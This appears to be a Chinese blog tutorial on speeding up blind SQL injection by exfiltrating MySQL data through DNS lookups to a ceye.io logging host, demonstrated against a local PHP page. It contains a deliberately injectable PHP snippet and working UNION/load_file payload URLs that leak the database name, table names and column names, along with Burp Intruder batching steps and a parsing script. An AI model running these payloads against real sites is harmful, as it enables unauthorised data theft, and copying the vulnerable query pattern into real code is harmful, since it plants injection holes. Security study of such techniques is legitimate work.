php sql 是空的_sql盲注的困局:利用DNSlog快速导出数据

09244c191e2f0bf968e12e505233069f.png

对于一个sql注入点来说最幸运的就是支持堆叠注入,最蛋疼的就是盲注,盲注里面难搞的就是基于时间的盲注。

我们在本地利用这段代码进行演示

<?php
error_reporting(0);
$link = mysqli_connect('localhost','root','root');
mysqli_set_charset($link,'utf8');
mysqli_select_db($link,'test');
$id = $_GET['id'];
$sql = "select * from test.order where id=$id";
$res = mysqli_query($link,$sql);

把链接丢到sqlmap里面,可以看到sqlmap成功检测出了时间盲注

491a0033f6540c498caa1e10368fa809.png

在局域网网络环境延迟很低,并且没有任何安全软件的前提下

ac8abfe0067210571f60ee445144c79b.png

sqlmap猜解表明的速度依然非常慢,接下来我们尝试用dns log的方式来获取数据。

dns猜解数据需要执行

show variables like '%secure%';

cd61d01c0673f1e9e620a3e34d258a37.png

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

如果secure_file_priv不为空,可以通过设置my.ini来配置。加入secure_file_priv="",然后重启mysql即可。

还需要一个dnslog的平台,我一般用 http://ceye.io/

平台会分配一个子域名

8adb602294be6d4e66d8560d83a8affd.png

ping一下这个域名

b2e26ef6f5dbeae8f71179b37c2558cb.png

然后即可看到刚才ping的记录

f1d7c17a041fdb488098825758752240.png

然后我们测试一下注入点是否支持dns外带数据。

通过

http://127.0.0.1/test.php?id=1 union select 1,2,3,4 and sleep(10)

猜解到字段数为4,然后测试是否支持dns外带数据

http://127.0.0.1/test.php?id=1 union select 1,load_file('t1.xxxx.ceye.ioabc'),3,4

可以看到t1的被带了出来

fccf860a39fe52ac3acb6d81d558bb29.png

下面进行数据拆解

查数据库名

http://127.0.0.1/test.php?id=1 union select 6,load_file(concat('',(select database()),'.xxx.ceye.ioabc')),3,8

数据库名为test

4cbbad155068d0c8e1984f68e1202c70.png

然后拆解第一个表名

http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select table_name from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxxx.ceye.ioabc')),3,4

第一个表名为admin

cdda514cab02b506cf4aecb8b24f5be3.png

然后我们通过burp来进行批量拆解,先查表的数量

http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select count(table_name) from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxx.ceye.ioabc')),3,4

一共有四张表

495b32967ab6b1593c56b12c69a7f23e.png

然后批量获取表名

127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select table_name from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxxx.ceye.ioabc')),3,

发送URL到burp的测试器

limit 0,1 后面的0设置为变量

9c7cd856155f4175c16a0b6c60e4993c.png

payload选择

dce3220590ebbb36df9c6a9ef8c998e5.png

线程设置为 1

436486b8d832e1f84cbb4d5c83068356.png

然后开始攻击

完成以后

5032875c12d8f04c9e02e79cb9e0ce69.png

可以在平台上查到获取到的表名

a967b600c68997cf8c48045fc37f3709.png

平台提供文件导出为json文件的功能

947a92299c44daef23406b7c07f35f89.png

下载到本地,放到脚本目录

#python3
import json

#自己平台的地址
url = '.xxx.ceye.io'

f = open('./data.json')
json_data = f.read()
f.close()

data = json.loads(json_data)

data_list = []

for i in data:
    data_list.append(i['name'].replace(url,''))

data_list = list(set(data_list))
for i in data_list:
    print(i)

可以去重以后打印出刚才获取的数据

13eb814895c606258dfd369da3396c3f.png

清理历史记录

fc72953023f0211fa41c248047bad644.png

再通过burp获取admin表的字段

http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1),'.xxxx.ceye.ioabc')),3,4

获取数据

select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值